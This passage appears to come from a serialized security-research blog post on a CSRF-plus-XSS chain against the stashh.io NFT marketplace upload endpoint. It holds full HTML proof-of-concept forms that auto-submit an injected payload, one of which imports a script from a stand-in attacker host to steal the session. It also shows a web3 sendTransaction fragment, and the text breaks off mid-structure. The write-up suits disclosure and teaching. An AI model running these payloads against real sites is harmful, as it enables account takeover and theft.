};\n",{"type":26,"tag":217,"props":131979,"children":131980},{"class":7028,"line":8700},[131981],{"type":26,"tag":217,"props":131982,"children":131983},{"emptyLinePlaceholder":17},[131984],{"type":32,"value":7817},{"type":26,"tag":217,"props":131986,"children":131987},{"class":7028,"line":8708},[131988,131993,131997,132001,132005,132010,132014,132019],{"type":26,"tag":217,"props":131989,"children":131990},{"style":7054},[131991],{"type":32,"value":131992},"      web3",{"type":26,"tag":217,"props":131994,"children":131995},{"style":7048},[131996],{"type":32,"value":180},{"type":26,"tag":217,"props":131998,"children":131999},{"style":7054},[132000],{"type":32,"value":131775},{"type":26,"tag":217,"props":132002,"children":132003},{"style":7048},[132004],{"type":32,"value":180},{"type":26,"tag":217,"props":132006,"children":132007},{"style":7064},[132008],{"type":32,"value":132009},"sendTransaction",{"type":26,"tag":217,"props":132011,"children":132012},{"style":7048},[132013],{"type":32,"value":1851},{"type":26,"tag":217,"props":132015,"children":132016},{"style":7054},[132017],{"type":32,"value":132018},"transactionObject",{"type":26,"tag":217,"props":132020,"children":132021},{"style":7048},[132022],{"type":32,"value":7669},{"type":26,"tag":217,"props":132024,"children":132025},{"class":7028,"line":8716},[132026],{"type":26,"tag":217,"props":132027,"children":132028},{"style":7048},[132029],{"type":32,"value":66904},{"type":26,"tag":217,"props":132031,"children":132032},{"class":7028,"line":8725},[132033],{"type":26,"tag":217,"props":132034,"children":132035},{"style":7048},[132036],{"type":32,"value":16086},{"type":26,"tag":217,"props":132038,"children":132039},{"class":7028,"line":8738},[132040],{"type":26,"tag":217,"props":132041,"children":132042},{"style":7048},[132043],{"type":32,"value":7184},{"type":26,"tag":217,"props":132045,"children":132046},{"class":7028,"line":8755},[132047],{"type":26,"tag":217,"props":132048,"children":132049},{"emptyLinePlaceholder":17},[132050],{"type":32,"value":7817},{"type":26,"tag":217,"props":132052,"children":132053},{"class":7028,"line":8771},[132054,132058,132062,132067],{"type":26,"tag":217,"props":132055,"children":132056},{"style":7154},[132057],{"type":32,"value":130100},{"type":26,"tag":217,"props":132059,"children":132060},{"style":7048},[132061],{"type":32,"value":1851},{"type":26,"tag":217,"props":132063,"children":132064},{"style":7338},[132065],{"type":32,"value":132066},"'https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js'",{"type":26,"tag":217,"props":132068,"children":132069},{"style":7048},[132070],{"type":32,"value":7669},{"type":26,"tag":217,"props":132072,"children":132073},{"class":7028,"line":13956},[132074,132079,132083,132087,132091,132096],{"type":26,"tag":217,"props":132075,"children":132076},{"style":7064},[132077],{"type":32,"value":132078},"setTimeout",{"type":26,"tag":217,"props":132080,"children":132081},{"style":7048},[132082],{"type":32,"value":1851},{"type":26,"tag":217,"props":132084,"children":132085},{"style":7054},[132086],{"type":32,"value":66875},{"type":26,"tag":217,"props":132088,"children":132089},{"style":7048},[132090],{"type":32,"value":7599},{"type":26,"tag":217,"props":132092,"children":132093},{"style":7130},[132094],{"type":32,"value":132095},"1e3",{"type":26,"tag":217,"props":132097,"children":132098},{"style":7048},[132099],{"type":32,"value":7669},{"type":26,"tag":39,"props":132101,"children":132102},{},[132103,132108],{"type":26,"tag":9348,"props":132104,"children":132105},{},[132106],{"type":32,"value":132107},"CSRF & XSS",{"type":32,"value":132109},"\nWe continued our investigation of potential XSS vulnerabilities by exploring various sinks, such as common field errors and the handling of file uploads in different marketplaces.",{"type":26,"tag":39,"props":132111,"children":132112},{},[132113,132115,132120],{"type":32,"value":132114},"Our attention was drawn to ",{"type":26,"tag":163,"props":132116,"children":132118},{"href":131081,"rel":132117},[167],[132119],{"type":32,"value":131085},{"type":32,"value":132121},", an online platform that allows users to upload images. During the image uploading process, we noticed that certain parameters were being sent in the request, as shown below:",{"type":26,"tag":39,"props":132123,"children":132124},{},[132125],{"type":26,"tag":6468,"props":132126,"children":132128},{"alt":8,"src":132127},"/posts/web2-bug-repellant-instructions/csrf.png",[],{"type":26,"tag":39,"props":132130,"children":132131},{},[132132],{"type":32,"value":132133},"and here there is the code:",{"type":26,"tag":207,"props":132135,"children":132137},{"className":24581,"code":132136,"language":24580,"meta":8,"style":8},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq<img/src=x onerror=alert(document.domain)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n    })()\n\n  \u003C/script>\n\u003C/html>\n",[132138],{"type":26,"tag":83,"props":132139,"children":132140},{"__ignoreMap":8},[132141,132156,132172,132204,132288,132345,132536,132577,132592,132608,132615,132630,132637,132649,132703,132710,132771,132800,132837,132844,132882,132895,132902,132917],{"type":26,"tag":217,"props":132142,"children":132143},{"class":7028,"line":7029},[132144,132148,132152],{"type":26,"tag":217,"props":132145,"children":132146},{"style":7263},[132147],{"type":32,"value":7289},{"type":26,"tag":217,"props":132149,"children":132150},{"style":7154},[132151],{"type":32,"value":7253},{"type":26,"tag":217,"props":132153,"children":132154},{"style":7263},[132155],{"type":32,"value":7281},{"type":26,"tag":217,"props":132157,"children":132158},{"class":7028,"line":6770},[132159,132164,132168],{"type":26,"tag":217,"props":132160,"children":132161},{"style":7263},[132162],{"type":32,"value":132163},"  \u003C",{"type":26,"tag":217,"props":132165,"children":132166},{"style":7154},[132167],{"type":32,"value":7399},{"type":26,"tag":217,"props":132169,"children":132170},{"style":7263},[132171],{"type":32,"value":7281},{"type":26,"tag":217,"props":132173,"children":132174},{"class":7028,"line":6779},[132175,132179,132183,132187,132192,132196,132200],{"type":26,"tag":217,"props":132176,"children":132177},{"style":7263},[132178],{"type":32,"value":132163},{"type":26,"tag":217,"props":132180,"children":132181},{"style":7154},[132182],{"type":32,"value":7563},{"type":26,"tag":217,"props":132184,"children":132185},{"style":7263},[132186],{"type":32,"value":5903},{"type":26,"tag":217,"props":132188,"children":132189},{"style":7048},[132190],{"type":32,"value":132191},"history.pushState('', '', '/')",{"type":26,"tag":217,"props":132193,"children":132194},{"style":7263},[132195],{"type":32,"value":7378},{"type":26,"tag":217,"props":132197,"children":132198},{"style":7154},[132199],{"type":32,"value":7563},{"type":26,"tag":217,"props":132201,"children":132202},{"style":7263},[132203],{"type":32,"value":7281},{"type":26,"tag":217,"props":132205,"children":132206},{"class":7028,"line":7140},[132207,132211,132216,132220,132224,132229,132234,132238,132243,132248,132252,132257,132262,132266,132271,132275,132279,132284],{"type":26,"tag":217,"props":132208,"children":132209},{"style":7263},[132210],{"type":32,"value":7321},{"type":26,"tag":217,"props":132212,"children":132213},{"style":7154},[132214],{"type":32,"value":132215},"form",{"type":26,"tag":217,"props":132217,"children":132218},{"style":7054},[132219],{"type":32,"value":7454},{"type":26,"tag":217,"props":132221,"children":132222},{"style":7149},[132223],{"type":32,"value":267},{"type":26,"tag":217,"props":132225,"children":132226},{"style":7338},[132227],{"type":32,"value":132228},"\"form123\"",{"type":26,"tag":217,"props":132230,"children":132231},{"style":7054},[132232],{"type":32,"value":132233}," action",{"type":26,"tag":217,"props":132235,"children":132236},{"style":7149},[132237],{"type":32,"value":267},{"type":26,"tag":217,"props":132239,"children":132240},{"style":7338},[132241],{"type":32,"value":132242},"\"https://stashh.io/upload_asset\"",{"type":26,"tag":217,"props":132244,"children":132245},{"style":7054},[132246],{"type":32,"value":132247}," method",{"type":26,"tag":217,"props":132249,"children":132250},{"style":7149},[132251],{"type":32,"value":267},{"type":26,"tag":217,"props":132253,"children":132254},{"style":7338},[132255],{"type":32,"value":132256},"\"POST\"",{"type":26,"tag":217,"props":132258,"children":132259},{"style":7054},[132260],{"type":32,"value":132261}," enctype",{"type":26,"tag":217,"props":132263,"children":132264},{"style":7149},[132265],{"type":32,"value":267},{"type":26,"tag":217,"props":132267,"children":132268},{"style":7338},[132269],{"type":32,"value":132270},"\"multipart/form-data\"",{"type":26,"tag":217,"props":132272,"children":132273},{"style":7054},[132274],{"type":32,"value":76439},{"type":26,"tag":217,"props":132276,"children":132277},{"style":7149},[132278],{"type":32,"value":267},{"type":26,"tag":217,"props":132280,"children":132281},{"style":7338},[132282],{"type":32,"value":132283},"\"asd\"",{"type":26,"tag":217,"props":132285,"children":132286},{"style":7263},[132287],{"type":32,"value":7281},{"type":26,"tag":217,"props":132289,"children":132290},{"class":7028,"line":7165},[132291,132296,132300,132305,132309,132314,132319,132323,132328,132332,132336,132341],{"type":26,"tag":217,"props":132292,"children":132293},{"style":7263},[132294],{"type":32,"value":132295},"     \u003C",{"type":26,"tag":217,"props":132297,"children":132298},{"style":7154},[132299],{"type":32,"value":56415},{"type":26,"tag":217,"props":132301,"children":132302},{"style":7054},[132303],{"type":32,"value":132304}," type",{"type":26,"tag":217,"props":132306,"children":132307},{"style":7149},[132308],{"type":32,"value":267},{"type":26,"tag":217,"props":132310,"children":132311},{"style":7338},[132312],{"type":32,"value":132313},"\"file\"",{"type":26,"tag":217,"props":132315,"children":132316},{"style":7054},[132317],{"type":32,"value":132318}," name",{"type":26,"tag":217,"props":132320,"children":132321},{"style":7149},[132322],{"type":32,"value":267},{"type":26,"tag":217,"props":132324,"children":132325},{"style":7338},[132326],{"type":32,"value":132327},"\"data\"",{"type":26,"tag":217,"props":132329,"children":132330},{"style":7054},[132331],{"type":32,"value":7454},{"type":26,"tag":217,"props":132333,"children":132334},{"style":7149},[132335],{"type":32,"value":267},{"type":26,"tag":217,"props":132337,"children":132338},{"style":7338},[132339],{"type":32,"value":132340},"\"file123\"",{"type":26,"tag":217,"props":132342,"children":132343},{"style":7263},[132344],{"type":32,"value":7281},{"type":26,"tag":217,"props":132346,"children":132347},{"class":7028,"line":7178},[132348,132353,132357,132361,132365,132370,132374,132378,132383,132387,132391,132395,132400,132404,132409,132414,132419,132423,132428,132432,132437,132441,132446,132450,132454,132458,132463,132467,132472,132476,132481,132485,132489,132494,132499,132504,132509,132513,132517,132522,132527,132531],{"type":26,"tag":217,"props":132349,"children":132350},{"style":7263},[132351],{"type":32,"value":132352},"      \u003C",{"type":26,"tag":217,"props":132354,"children":132355},{"style":7154},[132356],{"type":32,"value":56415},{"type":26,"tag":217,"props":132358,"children":132359},{"style":7054},[132360],{"type":32,"value":132304},{"type":26,"tag":217,"props":132362,"children":132363},{"style":7149},[132364],{"type":32,"value":267},{"type":26,"tag":217,"props":132366,"children":132367},{"style":7338},[132368],{"type":32,"value":132369},"\"hidden\"",{"type":26,"tag":217,"props":132371,"children":132372},{"style":7054},[132373],{"type":32,"value":132318},{"type":26,"tag":217,"props":132375,"children":132376},{"style":7149},[132377],{"type":32,"value":267},{"type":26,"tag":217,"props":132379,"children":132380},{"style":7338},[132381],{"type":32,"value":132382},"\"config\"",{"type":26,"tag":217,"props":132384,"children":132385},{"style":7054},[132386],{"type":32,"value":76439},{"type":26,"tag":217,"props":132388,"children":132389},{"style":7149},[132390],{"type":32,"value":267},{"type":26,"tag":217,"props":132392,"children":132393},{"style":7338},[132394],{"type":32,"value":9007},{"type":26,"tag":217,"props":132396,"children":132397},{"style":7154},[132398],{"type":32,"value":132399},"{"",{"type":26,"tag":217,"props":132401,"children":132402},{"style":7338},[132403],{"type":32,"value":60135},{"type":26,"tag":217,"props":132405,"children":132406},{"style":7154},[132407],{"type":32,"value":132408},"":"",{"type":26,"tag":217,"props":132410,"children":132411},{"style":7338},[132412],{"type":32,"value":132413},"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq",{"type":26,"tag":217,"props":132415,"children":132416},{"style":7154},[132417],{"type":32,"value":132418},"<",{"type":26,"tag":217,"props":132420,"children":132421},{"style":7338},[132422],{"type":32,"value":6468},{"type":26,"tag":217,"props":132424,"children":132425},{"style":7154},[132426],{"type":32,"value":132427},"/",{"type":26,"tag":217,"props":132429,"children":132430},{"style":7338},[132431],{"type":32,"value":8406},{"type":26,"tag":217,"props":132433,"children":132434},{"style":7154},[132435],{"type":32,"value":132436},"=",{"type":26,"tag":217,"props":132438,"children":132439},{"style":7338},[132440],{"type":32,"value":2542},{"type":26,"tag":217,"props":132442,"children":132443},{"style":7154},[132444],{"type":32,"value":132445}," ",{"type":26,"tag":217,"props":132447,"children":132448},{"style":7338},[132449],{"type":32,"value":7695},{"type":26,"tag":217,"props":132451,"children":132452},{"style":7154},[132453],{"type":32,"value":132436},{"type":26,"tag":217,"props":132455,"children":132456},{"style":7338},[132457],{"type":32,"value":117151},{"type":26,"tag":217,"props":132459,"children":132460},{"style":7154},[132461],{"type":32,"value":132462},"(",{"type":26,"tag":217,"props":132464,"children":132465},{"style":7338},[132466],{"type":32,"value":7929},{"type":26,"tag":217,"props":132468,"children":132469},{"style":7154},[132470],{"type":32,"value":132471},".",{"type":26,"tag":217,"props":132473,"children":132474},{"style":7338},[132475],{"type":32,"value":117168},{"type":26,"tag":217,"props":132477,"children":132478},{"style":7154},[132479],{"type":32,"value":132480},")>","",{"type":26,"tag":217,"props":132482,"children":132483},{"style":7338},[132484],{"type":32,"value":102902},{"type":26,"tag":217,"props":132486,"children":132487},{"style":7154},[132488],{"type":32,"value":132408},{"type":26,"tag":217,"props":132490,"children":132491},{"style":7338},[132492],{"type":32,"value":132493},"profile",{"type":26,"tag":217,"props":132495,"children":132496},{"style":7154},[132497],{"type":32,"value":132498},"-",{"type":26,"tag":217,"props":132500,"children":132501},{"style":7338},[132502],{"type":32,"value":132503},"assets",{"type":26,"tag":217,"props":132505,"children":132506},{"style":7154},[132507],{"type":32,"value":132508},"","",{"type":26,"tag":217,"props":132510,"children":132511},{"style":7338},[132512],{"type":32,"value":16194},{"type":26,"tag":217,"props":132514,"children":132515},{"style":7154},[132516],{"type":32,"value":132408},{"type":26,"tag":217,"props":132518,"children":132519},{"style":7338},[132520],{"type":32,"value":132521},"icon",{"type":26,"tag":217,"props":132523,"children":132524},{"style":7154},[132525],{"type":32,"value":132526},""}",{"type":26,"tag":217,"props":132528,"children":132529},{"style":7338},[132530],{"type":32,"value":9007},{"type":26,"tag":217,"props":132532,"children":132533},{"style":7263},[132534],{"type":32,"value":132535}," />\n",{"type":26,"tag":217,"props":132537,"children":132538},{"class":7028,"line":7389},[132539,132543,132547,132551,132555,132560,132564,132568,132573],{"type":26,"tag":217,"props":132540,"children":132541},{"style":7263},[132542],{"type":32,"value":132352},{"type":26,"tag":217,"props":132544,"children":132545},{"style":7154},[132546],{"type":32,"value":56415},{"type":26,"tag":217,"props":132548,"children":132549},{"style":7054},[132550],{"type":32,"value":132304},{"type":26,"tag":217,"props":132552,"children":132553},{"style":7149},[132554],{"type":32,"value":267},{"type":26,"tag":217,"props":132556,"children":132557},{"style":7338},[132558],{"type":32,"value":132559},"\"submit\"",{"type":26,"tag":217,"props":132561,"children":132562},{"style":7054},[132563],{"type":32,"value":76439},{"type":26,"tag":217,"props":132565,"children":132566},{"style":7149},[132567],{"type":32,"value":267},{"type":26,"tag":217,"props":132569,"children":132570},{"style":7338},[132571],{"type":32,"value":132572},"\"Submit request\"",{"type":26,"tag":217,"props":132574,"children":132575},{"style":7263},[132576],{"type":32,"value":132535},{"type":26,"tag":217,"props":132578,"children":132579},{"class":7028,"line":7406},[132580,132584,132588],{"type":26,"tag":217,"props":132581,"children":132582},{"style":7263},[132583],{"type":32,"value":8744},{"type":26,"tag":217,"props":132585,"children":132586},{"style":7154},[132587],{"type":32,"value":132215},{"type":26,"tag":217,"props":132589,"children":132590},{"style":7263},[132591],{"type":32,"value":7281},{"type":26,"tag":217,"props":132593,"children":132594},{"class":7028,"line":7439},[132595,132600,132604],{"type":26,"tag":217,"props":132596,"children":132597},{"style":7263},[132598],{"type":32,"value":132599},"  \u003C/",{"type":26,"tag":217,"props":132601,"children":132602},{"style":7154},[132603],{"type":32,"value":7399},{"type":26,"tag":217,"props":132605,"children":132606},{"style":7263},[132607],{"type":32,"value":7281},{"type":26,"tag":217,"props":132609,"children":132610},{"class":7028,"line":7487},[132611],{"type":26,"tag":217,"props":132612,"children":132613},{"emptyLinePlaceholder":17},[132614],{"type":32,"value":7817},{"type":26,"tag":217,"props":132616,"children":132617},{"class":7028,"line":7524},[132618,132622,132626],{"type":26,"tag":217,"props":132619,"children":132620},{"style":7263},[132621],{"type":32,"value":132163},{"type":26,"tag":217,"props":132623,"children":132624},{"style":7154},[132625],{"type":32,"value":7563},{"type":26,"tag":217,"props":132627,"children":132628},{"style":7263},[132629],{"type":32,"value":7281},{"type":26,"tag":217,"props":132631,"children":132632},{"class":7028,"line":7553},[132633],{"type":26,"tag":217,"props":132634,"children":132635},{"emptyLinePlaceholder":17},[132636],{"type":32,"value":7817},{"type":26,"tag":217,"props":132638,"children":132639},{"class":7028,"line":7570},[132640,132645],{"type":26,"tag":217,"props":132641,"children":132642},{"style":7048},[132643],{"type":32,"value":132644},"    (async ()=>",{"type":26,"tag":217,"props":132646,"children":132647},{"style":7154},[132648],{"type":32,"value":10033},{"type":26,"tag":217,"props":132650,"children":132651},{"class":7028,"line":7621},[132652,132656,132661,132665,132669,132673,132677,132681,132685,132690,132695,132699],{"type":26,"tag":217,"props":132653,"children":132654},{"style":7054},[132655],{"type":32,"value":95865},{"type":26,"tag":217,"props":132657,"children":132658},{"style":7054},[132659],{"type":32,"value":132660}," blob",{"type":26,"tag":217,"props":132662,"children":132663},{"style":7149},[132664],{"type":32,"value":4984},{"type":26,"tag":217,"props":132666,"children":132667},{"style":7042},[132668],{"type":32,"value":7864},{"type":26,"tag":217,"props":132670,"children":132671},{"style":7149},[132672],{"type":32,"value":7051},{"type":26,"tag":217,"props":132674,"children":132675},{"style":7042},[132676],{"type":32,"value":7864},{"type":26,"tag":217,"props":132678,"children":132679},{"style":7064},[132680],{"type":32,"value":66576},{"type":26,"tag":217,"props":132682,"children":132683},{"style":7149},[132684],{"type":32,"value":1851},{"type":26,"tag":217,"props":132686,"children":132687},{"style":7338},[132688],{"type":32,"value":132689},"\"/sapo.png\"",{"type":26,"tag":217,"props":132691,"children":132692},{"style":7149},[132693],{"type":32,"value":132694},")).",{"type":26,"tag":217,"props":132696,"children":132697},{"style":7064},[132698],{"type":32,"value":8375},{"type":26,"tag":217,"props":132700,"children":132701},{"style":7149},[132702],{"type":32,"value":64888},{"type":26,"tag":217,"props":132704,"children":132705},{"class":7028,"line":7672},[132706],{"type":26,"tag":217,"props":132707,"children":132708},{"emptyLinePlaceholder":17},[132709],{"type":32,"value":7817},{"type":26,"tag":217,"props":132711,"children":132712},{"class":7028,"line":7681},[132713,132717,132721,132725,132729,132734,132739,132743,132747,132752,132757,132762,132767],{"type":26,"tag":217,"props":132714,"children":132715},{"style":7054},[132716],{"type":32,"value":91366},{"type":26,"tag":217,"props":132718,"children":132719},{"style":7054},[132720],{"type":32,"value":28564},{"type":26,"tag":217,"props":132722,"children":132723},{"style":7149},[132724],{"type":32,"value":4984},{"type":26,"tag":217,"props":132726,"children":132727},{"style":7154},[132728],{"type":32,"value":7116},{"type":26,"tag":217,"props":132730,"children":132731},{"style":7064},[132732],{"type":32,"value":132733}," File",{"type":26,"tag":217,"props":132735,"children":132736},{"style":7149},[132737],{"type":32,"value":132738},"([",{"type":26,"tag":217,"props":132740,"children":132741},{"style":7054},[132742],{"type":32,"value":8375},{"type":26,"tag":217,"props":132744,"children":132745},{"style":7149},[132746],{"type":32,"value":9799},{"type":26,"tag":217,"props":132748,"children":132749},{"style":7338},[132750],{"type":32,"value":132751},"'sapo.png'",{"type":26,"tag":217,"props":132753,"children":132754},{"style":7149},[132755],{"type":32,"value":132756},", {",{"type":26,"tag":217,"props":132758,"children":132759},{"style":7054},[132760],{"type":32,"value":132761},"type:",{"type":26,"tag":217,"props":132763,"children":132764},{"style":7338},[132765],{"type":32,"value":132766}," 'image/png'",{"type":26,"tag":217,"props":132768,"children":132769},{"style":7149},[132770],{"type":32,"value":99989},{"type":26,"tag":217,"props":132772,"children":132773},{"class":7028,"line":7754},[132774,132778,132783,132787,132791,132796],{"type":26,"tag":217,"props":132775,"children":132776},{"style":7054},[132777],{"type":32,"value":95865},{"type":26,"tag":217,"props":132779,"children":132780},{"style":7054},[132781],{"type":32,"value":132782}," dataTransfer",{"type":26,"tag":217,"props":132784,"children":132785},{"style":7149},[132786],{"type":32,"value":4984},{"type":26,"tag":217,"props":132788,"children":132789},{"style":7154},[132790],{"type":32,"value":7116},{"type":26,"tag":217,"props":132792,"children":132793},{"style":7064},[132794],{"type":32,"value":132795}," DataTransfer",{"type":26,"tag":217,"props":132797,"children":132798},{"style":7149},[132799],{"type":32,"value":8217},{"type":26,"tag":217,"props":132801,"children":132802},{"class":7028,"line":7784},[132803,132808,132812,132817,132821,132825,132829,132833],{"type":26,"tag":217,"props":132804,"children":132805},{"style":7054},[132806],{"type":32,"value":132807},"        dataTransfer",{"type":26,"tag":217,"props":132809,"children":132810},{"style":7149},[132811],{"type":32,"value":180},{"type":26,"tag":217,"props":132813,"children":132814},{"style":7054},[132815],{"type":32,"value":132816},"items",{"type":26,"tag":217,"props":132818,"children":132819},{"style":7149},[132820],{"type":32,"value":180},{"type":26,"tag":217,"props":132822,"children":132823},{"style":7064},[132824],{"type":32,"value":61551},{"type":26,"tag":217,"props":132826,"children":132827},{"style":7149},[132828],{"type":32,"value":1851},{"type":26,"tag":217,"props":132830,"children":132831},{"style":7054},[132832],{"type":32,"value":19826},{"type":26,"tag":217,"props":132834,"children":132835},{"style":7149},[132836],{"type":32,"value":7669},{"type":26,"tag":217,"props":132838,"children":132839},{"class":7028,"line":7802},[132840],{"type":26,"tag":217,"props":132841,"children":132842},{"emptyLinePlaceholder":17},[132843],{"type":32,"value":7817},{"type":26,"tag":217,"props":132845,"children":132846},{"class":7028,"line":7811},[132847,132852,132856,132861,132865,132870,132874,132878],{"type":26,"tag":217,"props":132848,"children":132849},{"style":7054},[132850],{"type":32,"value":132851},"        file123",{"type":26,"tag":217,"props":132853,"children":132854},{"style":7149},[132855],{"type":32,"value":180},{"type":26,"tag":217,"props":132857,"children":132858},{"style":7054},[132859],{"type":32,"value":132860},"files",{"type":26,"tag":217,"props":132862,"children":132863},{"style":7149},[132864],{"type":32,"value":4984},{"type":26,"tag":217,"props":132866,"children":132867},{"style":7054},[132868],{"type":32,"value":132869},"dataTransfer",{"type":26,"tag":217,"props":132871,"children":132872},{"style":7149},[132873],{"type":32,"value":180},{"type":26,"tag":217,"props":132875,"children":132876},{"style":7054},[132877],{"type":32,"value":132860},{"type":26,"tag":217,"props":132879,"children":132880},{"style":7149},[132881],{"type":32,"value":7162},{"type":26,"tag":217,"props":132883,"children":132884},{"class":7028,"line":7820},[132885,132890],{"type":26,"tag":217,"props":132886,"children":132887},{"style":7154},[132888],{"type":32,"value":132889},"    }",{"type":26,"tag":217,"props":132891,"children":132892},{"style":7048},[132893],{"type":32,"value":132894},")()\n",{"type":26,"tag":217,"props":132896,"children":132897},{"class":7028,"line":7844},[132898],{"type":26,"tag":217,"props":132899,"children":132900},{"emptyLinePlaceholder":17},[132901],{"type":32,"value":7817},{"type":26,"tag":217,"props":132903,"children":132904},{"class":7028,"line":7910},[132905,132909,132913],{"type":26,"tag":217,"props":132906,"children":132907},{"style":7263},[132908],{"type":32,"value":132599},{"type":26,"tag":217,"props":132910,"children":132911},{"style":7154},[132912],{"type":32,"value":7563},{"type":26,"tag":217,"props":132914,"children":132915},{"style":7263},[132916],{"type":32,"value":7281},{"type":26,"tag":217,"props":132918,"children":132919},{"class":7028,"line":7954},[132920,132924,132928],{"type":26,"tag":217,"props":132921,"children":132922},{"style":7263},[132923],{"type":32,"value":7378},{"type":26,"tag":217,"props":132925,"children":132926},{"style":7154},[132927],{"type":32,"value":7253},{"type":26,"tag":217,"props":132929,"children":132930},{"style":7263},[132931],{"type":32,"value":7281},{"type":26,"tag":39,"props":132933,"children":132934},{},[132935],{"type":32,"value":132936},"When playing around with the application, we discovered that if an invalid address was submitted, the user's input would be reflected directly inside the response, another possible XSS vulnerability.",{"type":26,"tag":39,"props":132938,"children":132939},{},[132940],{"type":32,"value":132941},"However, since the request was a POST request, we initially thought this was only a self-XSS.",{"type":26,"tag":39,"props":132943,"children":132944},{},[132945],{"type":32,"value":132946},"In an effort to increase the impact of the above vulnerability, we discovered a way to leverage Cross-Site Request Forgery (CSRF) to manipulate the user's browser into sending a forced request that contained our XSS payload.",{"type":26,"tag":39,"props":132948,"children":132949},{},[132950],{"type":32,"value":132951},"From here, we were able to steal the session cookie from local storage.",{"type":26,"tag":207,"props":132953,"children":132955},{"className":24581,"code":132954,"language":24580,"meta":8,"style":8},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"<img/src=x onerror=import(`https://attacker-server.com/leak.js`)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n\n        form123.submit()\n    })()\n\n  \u003C/script>\n\u003C/html>\n",[132956],{"type":26,"tag":83,"props":132957,"children":132958},{"__ignoreMap":8},[132959,132974,132989,133020,133095,133146,133334,133373,133388,133403,133410,133425,133432,133443,133494,133501,133556,133583,133618,133625,133660,133667,133688,133699,133706,133721],{"type":26,"tag":217,"props":132960,"children":132961},{"class":7028,"line":7029},[132962,132966,132970],{"type":26,"tag":217,"props":132963,"children":132964},{"style":7263},[132965],{"type":32,"value":7289},{"type":26,"tag":217,"props":132967,"children":132968},{"style":7154},[132969],{"type":32,"value":7253},{"type":26,"tag":217,"props":132971,"children":132972},{"style":7263},[132973],{"type":32,"value":7281},{"type":26,"tag":217,"props":132975,"children":132976},{"class":7028,"line":6770},[132977,132981,132985],{"type":26,"tag":217,"props":132978,"children":132979},{"style":7263},[132980],{"type":32,"value":132163},{"type":26,"tag":217,"props":132982,"children":132983},{"style":7154},[132984],{"type":32,"value":7399},{"type":26,"tag":217,"props":132986,"children":132987},{"style":7263},[132988],{"type":32,"value":7281},{"type":26,"tag":217,"props":132990,"children":132991},{"class":7028,"line":6779},[132992,132996,133000,133004,133008,133012,133016],{"type":26,"tag":217,"props":132993,"children":132994},{"style":7263},[132995],{"type":32,"value":132163},{"type":26,"tag":217,"props":132997,"children":132998},{"style":7154},[132999],{"type":32,"value":7563},{"type":26,"tag":217,"props":133001,"children":133002},{"style":7263},[133003],{"type":32,"value":5903},{"type":26,"tag":217,"props":133005,"children":133006},{"style":7048},[133007],{"type":32,"value":132191},{"type":26,"tag":217,"props":133009,"children":133010},{"style":7263},[133011],{"type":32,"value":7378},{"type":26,"tag":217,"props":133013,"children":133014},{"style":7154},[133015],{"type":32,"value":7563},{"type":26,"tag":217,"props":133017,"children":133018},{"style":7263},[133019],{"type":32,"value":7281},{"type":26,"tag":217,"props":133021,"children":133022},{"class":7028,"line":7140},[133023,133027,133031,133035,133039,133043,133047,133051,133055,133059,133063,133067,133071,133075,133079,133083,133087,133091],{"type":26,"tag":217,"props":133024,"children":133025},{"style":7263},[133026],{"type":32,"value":7321},{"type":26,"tag":217,"props":133028,"children":133029},{"style":7154},[133030],{"type":32,"value":132215},{"type":26,"tag":217,"props":133032,"children":133033},{"style":7054},[133034],{"type":32,"value":7454},{"type":26,"tag":217,"props":133036,"children":133037},{"style":7149},[133038],{"type":32,"value":267},{"type":26,"tag":217,"props":133040,"children":133041},{"style":7338},[133042],{"type":32,"value":132228},{"type":26,"tag":217,"props":133044,"children":133045},{"style":7054},[133046],{"type":32,"value":132233},{"type":26,"tag":217,"props":133048,"children":133049},{"style":7149},[133050],{"type":32,"value":267},{"type":26,"tag":217,"props":133052,"children":133053},{"style":7338},[133054],{"type":32,"value":132242},{"type":26,"tag":217,"props":133056,"children":133057},{"style":7054},[133058],{"type":32,"value":132247},{"type":26,"tag":217,"props":133060,"children":133061},{"style":7149},[133062],{"type":32,"value":267},{"type":26,"tag":217,"props":133064,"children":133065},{"style":7338},[133066],{"type":32,"value":132256},{"type":26,"tag":217,"props":133068,"children":133069},{"style":7054},[133070],{"type":32,"value":132261},{"type":26,"tag":217,"props":133072,"children":133073},{"style":7149},[133074],{"type":32,"value":267},{"type":26,"tag":217,"props":133076,"children":133077},{"style":7338},[133078],{"type":32,"value":132270},{"type":26,"tag":217,"props":133080,"children":133081},{"style":7054},[133082],{"type":32,"value":76439},{"type":26,"tag":217,"props":133084,"children":133085},{"style":7149},[133086],{"type":32,"value":267},{"type":26,"tag":217,"props":133088,"children":133089},{"style":7338},[133090],{"type":32,"value":132283},{"type":26,"tag":217,"props":133092,"children":133093},{"style":7263},[133094],{"type":32,"value":7281},{"type":26,"tag":217,"props":133096,"children":133097},{"class":7028,"line":7165},[133098,133102,133106,133110,133114,133118,133122,133126,133130,133134,133138,133142],{"type":2